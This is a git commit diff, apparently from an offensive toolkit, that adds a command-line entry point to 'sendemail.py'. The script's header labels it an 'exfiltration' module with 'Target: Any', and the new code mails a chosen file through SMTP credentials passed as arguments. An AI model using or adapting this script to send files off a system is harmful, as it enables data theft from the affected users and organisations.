Update sendemail.py
parent
e278b53fa1
commit
66bd94489b
|
@ -5,7 +5,7 @@
|
||||||
# Version: 1.0
|
# Version: 1.0
|
||||||
# Category: exfiltration
|
# Category: exfiltration
|
||||||
# Target: Any
|
# Target: Any
|
||||||
|
import sys
|
||||||
import smtplib, os
|
import smtplib, os
|
||||||
from email.MIMEMultipart import MIMEMultipart
|
from email.MIMEMultipart import MIMEMultipart
|
||||||
from email.MIMEBase import MIMEBase
|
from email.MIMEBase import MIMEBase
|
||||||
|
@ -78,3 +78,15 @@ def send_mail(send_from, send_to, subject, text, files=None,
|
||||||
smtp.login(username, password)
|
smtp.login(username, password)
|
||||||
smtp.sendmail(send_from, send_to, msg.as_string())
|
smtp.sendmail(send_from, send_to, msg.as_string())
|
||||||
smtp.close()
|
smtp.close()
|
||||||
|
|
||||||
|
|
||||||
|
if len(sys.argv) > 8:
|
||||||
|
send_mail(sys.argv[1], sys.argv[2],
|
||||||
|
sys.argv[3],
|
||||||
|
sys.argv[4],
|
||||||
|
server=sys.argv[5], username=sys.argv[6], password=sys.argv[7], files=[sys.argv[8]])
|
||||||
|
else:
|
||||||
|
send_mail(sys.argv[1], sys.argv[2],
|
||||||
|
sys.argv[3],
|
||||||
|
sys.argv[4],
|
||||||
|
server=sys.argv[5], username=sys.argv[6], password=sys.argv[7])
|
||||||
|
|
Loading…
Reference in New Issue